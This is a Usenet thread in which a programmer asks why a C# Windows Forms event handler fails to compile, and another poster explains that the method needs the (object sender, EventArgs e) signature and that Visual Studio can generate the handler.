"SP" <egatsecneserp(reverse)@hotmail.com> wrote in message
news:%23tDCFzTxEHA.2572@tk2msftngp13.phx.gbl...
> <ritchiebuckley@orcon.net.nz> wrote in message
> news:1099863803.760334.269670@c13g2000cwb.googlegroups.com...
>> Justin,
>> I thought monday morning may help me but alas not. This is what I have
>> so far along the lines you suggested so I hope you can have a quick
>> check for me. It won't compile - it tells me that getCurrentPrinters()
>> does not match delegate - void System.EventHandler(object,
>> System.EventArgs)
>>
>> public class FormA : Form {
>> private void lnkAdd_LinkClicked(object sender,
>> System.Windows.Forms.LinkLabelLinkClickedEventArgs e)()
>> {
>> AddPrinter addform = new AddPrinter();
>> addform.DataUpdated += new EventHandler(getCurrentPrinters);
>> addform.Show();
>> }
>>
>> private void GetInstalledPrinters()
>> {
>> // do stuff
>> }
>> }
>>
>> and in formB
>>
>> public class AddPrinter : Form
>> {
>> public event EventHandler DataUpdated;
>>
>> private void OnDataUpdated(EventArgs e)
>> {
>> if ( DataUpdated != null )
>> {
>> DataUpdated(this, e);
>> }
>> }
>>
>> public void btnAdd_Click(object sender, System.EventArgs e)
>> {
>> OnDataUpdated(e);
>> this.Close();
>> }
>> }
>>
>
> The error message is correct. The getInstalledPrinters requires 2
> parameters (object sender, EventArgs e). When using delegates the VS IDE
> will create the function for you to avoid these mistakes. After typing
> "addform.DataUpdated +=" you press Tab once to create the "new
> EventHandler" and the second tab will create the function with the correct
> parameters.
>
> SP
>
|
|
|